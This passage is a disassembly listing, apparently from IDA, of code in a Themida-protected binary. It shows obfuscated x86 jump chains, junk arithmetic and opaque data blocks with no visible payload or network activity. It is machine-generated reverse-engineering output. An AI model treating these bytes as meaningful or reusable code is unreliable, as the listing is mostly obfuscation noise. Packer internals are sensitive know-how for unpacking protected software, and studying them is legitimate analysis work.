		dd 5F632A72h, 8B241487h, 1C892424h, 0E872BB24h,	0BF573132h
		dd 4837F1h, 2D5FF829h, 40D764EDh, 0CD68E9h, 24348700h
		dd 2414895Ch, 8B2414F6h, 0C4832414h, 5FFFE904h,	0E2C00000h
		dd 0DC0AE903h, 0E6C1FFFFh, 6DF68104h, 812A456Fh, 3C8852F6h
		dd 0E9F589EFh, 6B78h
; ---------------------------------------------------------------------------


loc_597408:				; CODE XREF: Themida_:00597C40j
		add	esi, 48075024h
		jmp	loc_59FBB6
; ---------------------------------------------------------------------------


loc_597413:				; CODE XREF: Themida_:005A1D4Ej
		shr	al, 3
		neg	al
		jmp	loc_593521
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFC562h
; ---------------------------------------------------------------------------


loc_597428:				; CODE XREF: Themida_:0059A2E8j
		mov	ebx, ecx
		pop	ecx
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_5A3488
; ---------------------------------------------------------------------------
		db 0B9h, 0E1h, 1Bh
		dd 0D1F743D4h, 0D7B2BE56h, 0F1319672h, 59C8015Eh, 0FFAEB2E9h
		dd 242C89FFh, 847FE950h, 34870000h, 24248B24h, 66E9F766h
		dd 6677E468h, 66241489h, 2CE99C50h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59746F:				; CODE XREF: Themida_:00593547j
		pop	ebx
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59F5DA
; ---------------------------------------------------------------------------
		dd 2B608635h, 2DD8F712h, 0BEBB9311h, 48BC621h, 4C48324h
		dd 39A468h, 243C8900h, 720039BFh, 7FCF816Ah, 505D7D7Ch
		dd 752E0EB8h, 54ACE95Eh, 0E9810000h, 6236319Bh,	4EC81h
		dd 2C890000h, 200DBD24h, 0DDF7290Fh, 0B8504545h, 0AF33D15Fh
		dd 64DAC581h, 0C5293D31h, 64DAED81h, 1583D31h, 0E9815DE9h
		dd 0FE3A37BAh, 8159CF31h, 0CA7BB3C1h, 81F90116h, 0CA7BB3E9h
		dd 3680E916h, 0D3890000h, 4406E9h, 5DEF0100h, 7257E9h
		dd 2BE0BE00h, 0EEE944C1h, 0B9FFFF96h, 4, 18C8E9h, 9575E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597526:				; CODE XREF: Themida_:005A0DDCj
		mov	[esp], esi
		jmp	loc_591E1D
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4BF24h, 7C010000h, 3C8B0424h, 9C23E924h, 34890000h
		dd 0E95E5424h, 909Ch, 4354BA52h, 84E97663h, 100004Dh, 0D6BDE9C6h
		dd 8F5D0000h, 0D1E92404h, 54FFFFB4h, 0AFC9E95Ah, 30BDFFFFh
		dd 81574E48h, 8C13E3F5h, 0E4C58149h, 0E928CE75h, 1DE4h
; ---------------------------------------------------------------------------


loc_597584:				; CODE XREF: Themida_:0059F7BFj
		mov	esp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59EC2E
; ---------------------------------------------------------------------------


loc_597595:				; CODE XREF: Themida_:0059496Cj
		or	edx, edi
		mov	edi, [esp]
		jmp	loc_594971
; ---------------------------------------------------------------------------
byte_59759F	db 0FFh			; DATA XREF: Themida_:00590850o
		dd 669D1C77h, 4196658h,	0ECE99C24h, 0B8FFFF94h,	0A4BDA433h
		dd 39E9C731h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5975BB:				; CODE XREF: Themida_:0059D11Dj
		pop	dword ptr [eax]
		add	dword ptr [eax], 12AC71C2h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFCA95h, 0BF57D3F7h, 6FEE4724h, 525FFB09h
		dd 30FBBAh, 3E2C13Dh, 0D2F7D2F7h, 1577CA81h, 0EAC12162h
		dd 5AEA8106h, 1F3A46Eh,	0D91DE9D3h, 8966FFFFh, 0EC81243Ch
		dd 2, 24348966h, 0EDBA6652h, 0B9E5E9EEh, 49B90000h, 17DBB68h
		dd 0C38159CBh, 275C4EE2h, 761CEB81h, 0DA896C6Fh, 0E9D7015Bh
		dd 3478h
; ---------------------------------------------------------------------------


loc_597660:				; CODE XREF: Themida_:00594195j
		pop	esp
		add	esp, 4
		sub	dword ptr [esp+4], 44274868h
		add	dword ptr [esp+4], 0AF939C1h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 0AF939C1h
		jmp	loc_594372
; ---------------------------------------------------------------------------
		dd 4C4815Ah, 81000000h,	0DD0E0DC1h, 0FFC1833Eh,	0E509E981h
		dd 37E925B7h
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5976A3:				; CODE XREF: Themida_:0059778Ej
		push	66EDh
		jmp	loc_593DD3
; ---------------------------------------------------------------------------


loc_5976AD:				; CODE XREF: Themida_:005A4A16j
		not	dl
		sub	dl, 71h
		push	ebx
		mov	bl, 9Bh
		jmp	loc_5A30C4
; ---------------------------------------------------------------------------
		dw 3489h
		dd 4BE24h, 3BE90000h, 81000038h, 4C1h, 4C18300h, 5C240C87h
		dd 57E768h, 24148900h, 57E08950h, 6433DBBFh, 6D6CE97Bh
		dd 0C310000h, 240C3324h, 0E924248Bh, 0CF2Bh
; ---------------------------------------------------------------------------


loc_5976F8:				; CODE XREF: Themida_:0059B96Fj
		add	esp, 4
		jmp	loc_5929F2
; ---------------------------------------------------------------------------


loc_597700:				; CODE XREF: Themida_:005961A6j
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_599566
; ---------------------------------------------------------------------------
		dw 8CE9h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59770F:				; CODE XREF: Themida_:005A3816j
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebx
		jmp	loc_597C6A
; ---------------------------------------------------------------------------
byte_59771B	db 66h			; DATA XREF: Themida_:00590A08o
		dd 50240C8Bh, 0B9515854h, 4, 5156552Dh,	5C8013Ah, 3A515655h
		dd 81240C8Bh, 4C4h, 0C9CCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597742:				; CODE XREF: Themida_:0059D851j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5941DC
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 5Eh
aBScJhum	db 'ËécÎJhUM',0
		dw 0E900h
		dd 0FFFFBB37h
; ---------------------------------------------------------------------------


loc_597770:				; CODE XREF: Themida_:0059EC6Aj
		mov	ecx, 0AB772A6h
		push	ebx
		mov	ebx, 774C3A7Dh
		jmp	loc_5A15BC
; ---------------------------------------------------------------------------


loc_597780:				; CODE XREF: Themida_:005A4862j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5976A3
; ---------------------------------------------------------------------------
		db 59h
		dd 5724048Fh, 4BFh, 247C0100h, 7AE95F04h, 81FFFFFDh, 0E504246Ch
		dd 2972EA58h, 0E9042444h, 9631h
; ---------------------------------------------------------------------------


loc_5977B8:				; CODE XREF: Themida_:00594640j
		sub	ebp, 0B1C73BC9h
		xor	ebx, ebp
		pop	ebp
		xor	ebx, 0CDCA6026h
		add	ecx, 1005214h
		jmp	loc_59E406
; ---------------------------------------------------------------------------
		dw 0F480h
		dd 8BE20039h, 0C4812404h, 4, 201CF280h,	474FE9D0h, 0A2BE0000h
		dd 3119EA4Bh, 9472E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5977F6:				; CODE XREF: Themida_:0059459Dj
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5A4ECD
; ---------------------------------------------------------------------------
		db 81h
		dd 620706C3h, 81C30101h, 620706EBh, 0C1EB8101h,	0FF0AE803h
		dd 50E92434h
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59782F:				; CODE XREF: Themida_:0059514Fj
		pop	esi
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_599279
; ---------------------------------------------------------------------------
		db 81h
		dd 412606C5h, 6CC58121h, 5A00BC70h, 0C7168h, 242C8900h
		dd 42474FFh, 0FF2434FFh, 525D2434h, 0FFE053E9h,	62B951FFh
		dd 836D2452h, 0C8904ECh, 3AEB6824h, 0C8B02E9h, 4386E924h
		dd 0EC810000h, 4, 0B0240489h, 0CD0F615h, 53C1040Eh, 3AE9C788h
		dd 0BF000048h, 0A9E44CFh, 10D3C781h, 0FD01BA2Bh, 0E9EB295Fh
		dd 0F85h
; ---------------------------------------------------------------------------


loc_5978A8:				; CODE XREF: Themida_:005A2564j
		add	edi, 5B4B292Bh
		add	edi, 31B45B2Ch
		sub	edi, 4EC31005h
		sub	edi, 0DF9C9E7Fh
		or	edi, 72F96093h
		shr	edi, 5
		add	edi, 3B0274A4h
		add	edi, 0C0FDBF72h
		add	ebp, edi
		jmp	loc_5A59CC
; ---------------------------------------------------------------------------
		dd 1DEF814Fh, 89564704h, 0F6815FFEh, 38B711B2h,	0F68CC681h
		dd 0F3018BD9h, 7EBC15Eh, 0E891F381h, 0D831143Bh, 9F4EE95Bh
		dd 0F681FFFFh, 110D6511h, 24148756h, 2414F752h,	19A8E9h
		dd 24048F00h, 8124248Bh, 4C4h, 0C8B70F00h, 546A68h, 6E08E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597932:				; CODE XREF: Themida_:005A1455j
		push	ebx
		mov	ebx, 77065142h
		xor	ebx, 627B7160h
		inc	ebx
		sub	ebx, 0CB74D0E7h
		jmp	loc_595079
; ---------------------------------------------------------------------------


loc_59794A:				; CODE XREF: Themida_:00594144j
		xor	ebp, 73051BB5h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		push	23F9h
		jmp	loc_59D685
; ---------------------------------------------------------------------------


loc_597965:				; CODE XREF: Themida_:0059846Bj
		add	eax, 1
		neg	eax
		sub	eax, 22654B8Eh
		push	ecx
		mov	ecx, 92226A11h
		add	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 5D2F4570h
		sub	ebp, edx
		jmp	loc_595839
; ---------------------------------------------------------------------------


loc_597987:				; CODE XREF: Themida_:0059BE66j
		pop	edi
		push	edx
		jmp	loc_5983AC
; ---------------------------------------------------------------------------


loc_59798E:				; CODE XREF: Themida_:00599143j
		mov	edx, 6F170E93h
		jmp	loc_59685F
; ---------------------------------------------------------------------------
		dd 0CF25DF05h, 2DE82963h, 63CF25DFh, 57D0F75Dh,	0A03151BFh
		dd 2EFC172h, 4276EF81h,	0EF814472h, 6FC301A2h, 6BD2F781h
		dd 0F7814A18h, 0B84D4B6h, 534FD7F7h, 0CC7AADBBh, 5BDF0118h
		dd 8107E7C1h, 140DB9E7h, 45C78159h, 113E1CBh, 8B505FF8h
		dd 0C4832434h, 0F0015804h, 8124348Bh, 4C4h, 0C8DCE900h
		db 2 dup(0FFh)
word_5979FE	dw 32FFh		; DATA XREF: Themida_:005908D0o
		dd 0FF9096E9h, 243C89FFh, 515B3668h, 0B9515F08h, 30E8B451h
		dd 5759CF31h, 26F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_597A1D:				; CODE XREF: Themida_:005926A5j
		mov	ecx, esp
		push	edx
		push	4
		jmp	loc_59CA4C
; ---------------------------------------------------------------------------
aS6		db ']é6Ê',0
		align 10h
		dd 875FFA01h, 248B2414h, 4EC8124h, 89000000h, 0E6892434h
		dd 4E4FE957h, 48F0000h,	24048124h, 4, 4B95158h,	1000000h
		dd 240C8BC8h, 4C481h, 0AEE90000h, 5CFFFFC3h, 8B24048Fh
		dd 4812424h, 495D2D24h,	0C98FE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597A7E:				; CODE XREF: Themida_:005A5251j
		mov	edi, 411C0FEBh
		jmp	loc_596117
; ---------------------------------------------------------------------------
		dd 51241489h, 554144B9h, 6E9C167h, 1E2568h, 24348900h
		dd 807821BEh, 7EEC17Fh,	5605E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597AAA:				; CODE XREF: Themida_:0059E58Cj
		pop	eax
		pop	edi
		pop	dword ptr [eax]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		db 89h
		dd 0F9E9241Ch, 0C1FFFFD1h, 0EDC107EDh, 82CD8106h, 8162D436h
		dd 8A3494E5h, 3EDC140h,	89B7C581h, 0E901FA53h, 0FFDE78E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597ADD:				; CODE XREF: Themida_:005990EFj
		add	ebp, 4
		push	edi
		mov	edi, 5A9567F3h
		not	edi
		add	edi, 570B65B4h
		not	edi
		xor	edi, 38A023Bh
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_59DFC1
; ---------------------------------------------------------------------------
		dd 0FE24248Bh, 0E99C2404h, 0FFFF97B3h, 7444F581h, 0A3E95270h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597B1B:				; CODE XREF: Themida_:0059A296j
		add	edx, 4
		add	edx, 4
		jmp	loc_59C4C7
; ---------------------------------------------------------------------------
		dd 4812EA81h, 0B9E95592h
		db 9, 2	dup(0)
byte_597B37	db 0FFh			; DATA XREF: Themida_:005907D0o
		dd 669D1C77h, 241CD359h, 0ABA5E99Ch
		db 2 dup(0FFh)
aMs		db '¬é>š',0             ; DATA XREF: Themida_:00590928o
		align 4
		dd 62217AB8h, 58C32134h, 46BA5256h, 0D15B3628h,	0F7F281E2h
		dd 89967205h, 0BFA3E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597B6A:				; CODE XREF: Themida_:0059297Ej
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_59C5B0
; ---------------------------------------------------------------------------


loc_597B7A:				; CODE XREF: Themida_:005A50A3j
		pop	esp
		or	eax, eax
		jnz	loc_59CAFB
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	48A3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		push	6EE010FBh
		pop	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, 5E0B17F7h
		jmp	loc_597F94
; ---------------------------------------------------------------------------
		db 0FEh, 0CFh, 0C0h
		dd 0B25208E7h, 5AD70845h, 0C038EF80h, 0EF8008EFh, 0E9D7F6FFh
		dd 0D3B4h, 5BEEC181h, 0E98103F1h, 3B842190h, 7186E981h
		dd 0E95E2081h, 0FFFFF3F0h, 48BC201h, 4C48124h, 29000000h
		dd 42EA81C2h, 814A464Bh, 0D02B23C2h, 5CBD5529h,	29068947h
		dd 2434FFEAh, 552E685Dh, 3C890000h, 686EE924h, 0E2880000h
		dd 585AD188h, 8124148Bh, 4C4h, 0A5DDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597C32:				; CODE XREF: Themida_:0059274Ej
		sub	ecx, 0BE762BC8h
		sub	esi, 48075024h
		add	esi, ecx
		jmp	loc_597408
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 4C2815Ah,	0E9000000h, 13F2h, 4F3A66BDh, 246C313Dh
		dd 348B5D04h, 403E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597C6A:				; CODE XREF: Themida_:00597716j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	632Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_597EDB
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4ABA2F58h, 0C5814D45h, 5D6541EDh, 0FFA355E9h, 7B622DFFh
		dd 1C8B59B8h, 0CBF4E924h, 8680000h, 0E9000019h,	10A2h
		dd 0C800CEB1h, 240C8B66h, 72C3E9h, 3E2D5E00h, 0C133683Ah
		dd 433506E8h, 815EDDACh, 431B5AC5h, 81C52979h, 431B5AEDh
		dd 0ED815879h, 0A2BA09AEh, 0FFB3C5E9h, 2EFC1FFh, 8102E7C1h
		dd 72EB43C7h, 5FFE290Ah, 4C6835Dh, 7FD5E9h, 240C8B00h
		dd 815B5453h, 4C3h, 0B69BE900h,	50580000h, 0B39DE9h, 0CF295E00h
		dd 2434FF59h, 0E924348Bh, 7C81h, 4D2E0B2Dh, 0B60F6655h
		dd 8B545700h, 0C481243Ch, 4, 109268h, 24348900h, 4B8EE9h
		dd 685E5400h, 67C0h, 0B8240489h, 55A32E08h, 4EC8153h, 0E9000000h
		dd 0FFFFA57Fh, 0CDEA8159h, 1569472h, 0CDC281EAh, 81569472h
		dd 1B7128EAh, 14875D57h, 8B665C24h, 0EC812404h,	4, 89240C89h
		dd 0C83EE9E1h, 0C180FFFFh, 0B059E9F2h, 14F70000h, 0BE565A24h
		dd 3AA10FD9h, 0EFE9F229h, 680000A2h, 61F92E46h,	0F163E95Dh
		dd 0FB29FFFFh, 498AEB81h, 0E95F3E67h, 0FFFFCF0Ah, 24348156h
		dd 791F11BCh, 8124148Bh, 4C4h, 0BCF28100h, 89791F11h, 455E5AD5h
		dd 4504E5C1h, 0E904EC83h, 8C27h, 67F7E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597DF6:				; CODE XREF: Themida_:00595E68j
		pop	esp
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5A15E6
		push	1759h
		mov	[esp], ecx
		mov	ecx, 28h
		jmp	loc_5933BB
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88D58851h, 240C8BEBh, 4C481h, 148B0000h, 4C48124h, 0E9000000h
		dd 6F4Dh, 405h,	4E88300h, 0FFAB4EE9h, 685257FFh, 46F434C4h
		dd 0BEEA815Ah, 0E92C577Dh, 2D15h
; ---------------------------------------------------------------------------


loc_597E5C:				; CODE XREF: Themida_:0059407Bj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	eax
		xchg	eax, ebp
		not	ebp
		push	eax
		jmp	loc_59605F
; ---------------------------------------------------------------------------
aVhW		db '[Vh~w',0
		align 2
		dw 3C89h
		dd 53CC6824h, 0E95F43F7h, 9ADAh, 4A40B850h, 91053AACh
		dd 0C1711F06h, 432D04E0h, 9827BD0h, 3AE958C6h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597EA3:				; CODE XREF: Themida_:0059FD34j
		push	4
		jmp	loc_591DBE
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0C1h
aQSL		db 'ï',8,'é',0Bh,'‹',0
		dw 0F700h
		dd 0FF5092D2h, 58042474h, 8B24048Fh, 0CDE9241Ch, 500000A3h
		dd 4B8h, 3DE6E900h, 0C0E90000h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597EDB:				; CODE XREF: Themida_:00597C89j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, 6B5B3F04h
		add	esi, ebx
		push	ebx
		jmp	loc_5A0D58
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 55h
		dd 810C622Dh, 5A2069C3h, 1BBF5762h, 81159C68h, 872E59E7h
		dd 8FCF812Dh, 0E97C8F36h, 0B513h, 56EFC381h, 0E3C1247Ah
		dd 0FEEB8108h, 29FA8299h, 2C335BDDh, 242C3124h,	0FFC8B5E9h
		dd 44815FFFh, 39B50824h, 0C3E95E6Ch, 68FFFFCAh,	2671h
		dd 977BE9h, 0E95E5700h,	8684h, 4244C01h, 243C8B59h, 6804C483h
		dd 2078h, 52243489h, 0FFBC1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597F6D:				; CODE XREF: Themida_:0059B28Fj
		add	ebp, 0CE9E2FF2h
		not	ebp
		inc	ebp
		jmp	loc_595527
; ---------------------------------------------------------------------------
		db 0F7h
aSN		db 'Ñé#n',0
		align 2
		dw 0DA87h
		dd 74F468h, 241C8900h, 0E9240431h, 0FFFF9FB6h
; ---------------------------------------------------------------------------


loc_597F94:				; CODE XREF: Themida_:00597BB4j
		push	6A86h
		mov	[esp], eax
		mov	eax, 66BF5939h
		push	ebp
		mov	ebp, 0FF5502B9h
		sub	eax, 23D70941h
		sub	eax, ebp
		jmp	loc_5A2446
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8BA2414h, 812F0947h, 0D722FDC2h, 81DAF74Dh, 226F8FF2h
		dd 0CA814253h, 7A6F4376h, 0FFCC1CE9h, 0FE8BB7FFh, 0B9F780C7h
		dd 574CE9h, 163AB800h, 0C23126A8h, 314BE9h
		db 0
; ---------------------------------------------------------------------------


loc_597FED:				; CODE XREF: Themida_:005A4C96j
		push	dword ptr [esp]
		pop	edi
		push	ebx
		jmp	loc_595154
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 0E95EF301h, 6A3Ch, 5AA5CA81h, 0F75217F3h,	425A2414h
		dd 81CFE955h, 4DBF0000h, 816C8A7Bh, 285295C7h, 8EFC13Fh
		dd 58FDC781h, 0C7810930h, 63064EB1h, 8104E7C1h,	2DC3AFEFh
		dd 0E9FE31AEh, 0FFFFAC61h, 52243C8Bh, 0C281E289h, 4, 4BF57h
		dd 0D9E90000h, 83FFFFF9h, 3C8904ECh, 0BC685624h, 0E9537F11h
		dd 0B2E6h, 0FF8A2EE9h, 95E952FFh, 0BA000082h, 395463E0h
		dd 63E2BA52h, 0D0893954h, 5722055Ah, 0D0293A1Ch, 6C4CE9h
		dd 50E38100h, 4B3ADD46h, 464BF381h, 0DE013AD5h,	2C6835Bh
		dd 5C243487h, 13326866h, 241C8966h, 0FFA828E9h,	0B25266FFh
		dd 66D728D7h, 5BFE285Ah, 0C6B45066h, 21E9E628h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5980C7:				; CODE XREF: Themida_:005A1BBEj
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		and	ebx, esi
		jmp	loc_592155
; ---------------------------------------------------------------------------


loc_5980DA:				; CODE XREF: Themida_:0059B410j
		add	ecx, ebx
		add	ecx, 4FA54DFh
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A4859
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 1Eh
		dd 29422117h, 0F5895FFEh, 4B4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_598105:				; CODE XREF: Themida_:00592DABj
		sub	eax, 6BDB0949h
		pop	ebx
		jmp	loc_5A34D2
; ---------------------------------------------------------------------------
		dd 7DC6805Bh, 0E98FEE80h, 0FFFFBB4Eh, 815F5457h, 4C7h
		dd 4C78300h, 5C243C87h,	52F9C781h, 0C7812A75h, 3CF34477h
		dd 0EF81EF01h, 3CF34477h, 52F9EF81h, 0EDE92A75h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59814B:				; CODE XREF: Themida_:0059EDE6j
		push	dword ptr [esp]
		jmp	loc_5A585A
; ---------------------------------------------------------------------------
		db 81h
		dd 0BB40AAF5h, 8BEF8934h, 6AE9242Ch
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598163:				; CODE XREF: Themida_:0059D9D1j
		sub	eax, 86969685h
		add	edi, 12F307B8h
		add	edi, eax
		sub	edi, 12F307B8h
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_59455A
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
aSiusS		db 'S‰ãéȘ',0
		align 10h


loc_598190:				; CODE XREF: Themida_:005A1A8Bj
		not	ebp
		sub	ebp, 39C6EF81h
		or	edx, ebp
		mov	ebp, [esp]
		jmp	loc_59A6A4
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0AFF4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5981AD:				; CODE XREF: Themida_:0059B21Cj
		sub	edi, 4F0102ABh
		jmp	loc_5A1DD6
; ---------------------------------------------------------------------------
		dd 8104C483h, 2C6h, 74FF5600h, 8F5E0424h, 248B2404h, 48B6624h
		dd 3E146824h, 0C890000h, 68E18924h, 654Eh, 68243C89h, 4
		dd 8BF9015Fh, 5451243Ch, 0FFC2C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5981F5:				; CODE XREF: Themida_:005A35B4j
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 4C22792Eh
		shl	edx, 5
		sub	edx, 0D322EC5h
		add	edx, 88E3090Fh
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		add	dword ptr [esp], 4DEC6C86h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A0EB8
; ---------------------------------------------------------------------------
word_59822A	dw 8B66h		; DATA XREF: Themida_:005909ECo
		dd 8950240Ch, 0E08950E0h, 41A2BE56h, 0F6815D53h, 5D5341A6h
		dd 2D5EF001h, 4, 5C240487h, 0BA241489h,	28900086h, 57CF281h
		dd 0EA816555h, 4D6A5B03h, 550DC281h, 0BB53FFA5h, 7F211449h
		dd 6A2CCB81h, 0F38141AFh, 329271C3h, 0F351EB81h, 0C7E9F2B9h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598283:				; CODE XREF: Themida_:005A17A8j
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_59E3B5
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2404h, 58542404h, 4BB5351h, 0E9000000h, 0D09Fh
		dd 5724048Fh, 0BE75E9h
		db 0
; ---------------------------------------------------------------------------


loc_5982AD:				; CODE XREF: Themida_:00593109j
		push	ecx
		push	edx
		push	27F217D7h
		pop	edx
		sub	edx, 1D027042h
		xor	edx, 2640F109h
		push	esi
		mov	esi, edx
		mov	ecx, esi
		pop	esi
		pop	edx
		jmp	loc_59FE25
; ---------------------------------------------------------------------------
		db 0B9h, 0D1h, 62h
		dd 0C1816CBEh, 7A2756AAh, 0C105E1C1h, 0E98104E9h, 49C76FC3h
		dd 0C2B7BF57h, 0F92961E3h, 83243C8Bh, 0CE2904C4h, 2C815659h
		dd 0D78FA24h, 0C3815B54h, 540D78FAh, 81FB015Eh,	5857EF33h
		dd 2C685B8Ch, 89000047h, 9D682434h, 5E0EE72Dh, 3018C681h
		dd 0ECE91991h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598327:				; CODE XREF: Themida_:005937EFj
		add	ebp, edi
		pop	edi
		sub	ebp, 633847FAh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598AB7
; ---------------------------------------------------------------------------


loc_59833E:				; CODE XREF: Themida_:005932A2j
		push	edx
		push	5437h
		mov	[esp], ebx
		jmp	loc_59FF51
; ---------------------------------------------------------------------------


loc_59834C:				; CODE XREF: Themida_:005A32E3j
		mov	[esp], ebx
		mov	ebx, 17F7740h
		jmp	loc_590F12
; ---------------------------------------------------------------------------


loc_598359:				; CODE XREF: Themida_:00598C07j
		add	ebx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 14BF68F9h
		jmp	loc_5912B4
; ---------------------------------------------------------------------------
aFps_		db 'fPé_{',0
		dw 4600h
		dd 0ACA6E9h, 4EB8100h, 87000000h, 895C241Ch, 0E789243Ch
		dd 4C781h, 0C7810000h, 4, 0E9243C87h, 0FFFFD2EFh
; ---------------------------------------------------------------------------


loc_5983AC:				; CODE XREF: Themida_:00597989j
		push	0B38h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_590BDF
; ---------------------------------------------------------------------------
		dw 0D8E9h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5983C3:				; CODE XREF: Themida_:00596E9Bj
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59B571
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 81582434h, 4C4h,	0EC815600h, 4, 83242489h
		dd 5E042404h, 4C681h, 0E9500000h, 0FFFFB912h, 0E581DDF7h
		dd 17011B4Ah, 0FFEDCFE9h, 5E5456FFh, 4C681h, 0C6830000h
		dd 24348704h, 2434FF5Ch, 4C48158h, 68000000h, 49E7h, 98D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_598439:				; CODE XREF: Themida_:005923A6j
		xor	esi, 0D207A92Fh
		sub	ecx, esi
		pop	esi
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4EA10A32h
		push	edi
		push	251C1C5Eh
		mov	edi, [esp]
		add	esp, 4
		or	eax, edi
		pop	edi
		jmp	loc_597965
; ---------------------------------------------------------------------------


loc_598470:				; CODE XREF: Themida_:0059237Fj
		pop	ebp
		dec	ebp
		dec	ebp
		not	ebp
		jmp	loc_5969F1
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 4ED6F707h, 2E24C681h, 0C68114E4h, 319C71DAh,	99E9F229h
		dd 54000041h, 21BB5358h, 0C1381869h, 59E908E3h
